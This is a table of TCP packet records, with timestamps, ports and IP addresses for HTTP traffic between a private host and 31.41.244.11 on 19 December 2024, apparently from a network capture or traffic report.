Dec 19, 2024 03:09:12.866039038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.866101980 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.866156101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.866972923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.867028952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.867073059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.867125034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.867918968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.867975950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.868098974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.868151903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.868948936 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.869004011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.869087934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.869142056 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.869930983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.870007038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.870007992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.870059013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.870862961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.870917082 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.870997906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.871052027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.871874094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.871931076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.871965885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.872018099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.872816086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.872870922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.872924089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.872976065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.873806953 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.873862028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.873907089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.873960018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.874769926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.874824047 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.874892950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.874946117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.875790119 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.875849009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.875906944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.875965118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.876804113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.876863956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.876895905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.876950979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.877723932 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.877787113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.877850056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.877908945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.878690958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.878751040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.019527912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.019618988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.019752026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.019814014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.020035028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.020097017 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.020149946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.020209074 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.020999908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.021059990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.021119118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.021178007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.021994114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.022051096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.022110939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.022170067 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.022964954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.023025036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.023077011 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.023140907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.023946047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.024009943 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.024086952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.024144888 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.024904013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.024960995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.025023937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.025079012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.025881052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.025950909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.026012897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.026068926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.026887894 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.026952982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.027018070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.027081013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.027842045 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.027904987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.027952909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.028023005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.028846979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.028928995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.028964996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.029033899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.029813051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.029913902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.029961109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.030014038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.030792952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.030849934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.030927896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.030986071 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.031765938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.031824112 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.031902075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.031953096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.032757998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.032813072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.032891035 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.032942057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.033720970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.033792973 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.033835888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.033894062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.034707069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.034768105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.034818888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.034878969 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.035742998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.035798073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.035803080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.035855055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.036667109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.036724091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.036777020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.036834002 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.037641048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.037699938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.037764072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.037828922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.038640976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.038703918 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.038729906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.038784981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.039588928 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.039695978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.039700031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.039752960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.040584087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.040684938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.040693045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.040740013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.041563034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.041620016 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.041683912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.041739941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.042535067 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.042593956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.042678118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.042738914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.043512106 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.043567896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.043627024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.043683052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.044492006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.044548988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.044605017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.044655085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.045475960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.045535088 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.045593977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.045649052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.046457052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.046514988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.046581030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.046636105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.047424078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.047477007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.047540903 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.047596931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.048403978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.048465967 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.048610926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.048660994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.049417019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.049475908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.049535036 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.049586058 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.050374985 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.050426960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.050492048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.050542116 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.051378965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.051443100 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.051558971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.051615000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.052367926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.052428007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.052463055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.052517891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.053288937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.053342104 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.053411007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.053471088 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.054261923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.054316998 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.054359913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.054414988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.055244923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.055299044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.055346012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.055399895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.056302071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.056356907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.056418896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.056469917 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.057209015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.057261944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.057302952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.057353020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.058240891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.058291912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.058351040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.058406115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.059171915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.059226036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.059267044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.059334040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.060118914 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.060173988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.060244083 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.060297012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.061127901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.061182022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.061269999 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.061321974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.062114000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.062195063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.062254906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.062308073 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.063076019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.063129902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.063220978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.063271046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.064058065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.064110994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.064158916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.064210892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.065046072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.065114975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.065171003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.065231085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.066031933 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.066092968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.066224098 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.066272974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.067006111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.067073107 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.067140102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.067192078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.068001032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.068057060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.068130970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.068182945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.068969011 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.069025040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.069142103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.069195032 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.069992065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.070046902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.070166111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.070221901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.070899963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.070957899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.212028027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.212076902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.212251902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.212368965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.212433100 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.212461948 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.212517977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.213360071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.213418007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.213516951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.213572979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.214318037 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.214369059 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.214437962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.214490891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.215331078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.215389013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.215431929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.215483904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.216312885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.216368914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.216401100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.216449022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.217293024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.217348099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.217367887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.217425108 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.218244076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.218301058 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.218343019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.218405008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.219222069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.219275951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.219326019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.219377995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.220201969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.220252991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.220313072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.220367908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.221170902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.221230030 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.221260071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.221313000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.222138882 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.222194910 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.222261906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.222316980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.223134995 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.223191023 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.223242998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.223304033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.224111080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.224167109 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.224208117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.224261045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.225166082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.225223064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.225259066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.225312948 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.226069927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.226128101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.226191998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.226247072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.227029085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.227085114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.227180958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.227233887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.228029966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.228081942 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.228123903 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.228173971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.229007959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.229063034 CET	49835	80	192.168.2.5	31.41.244.11
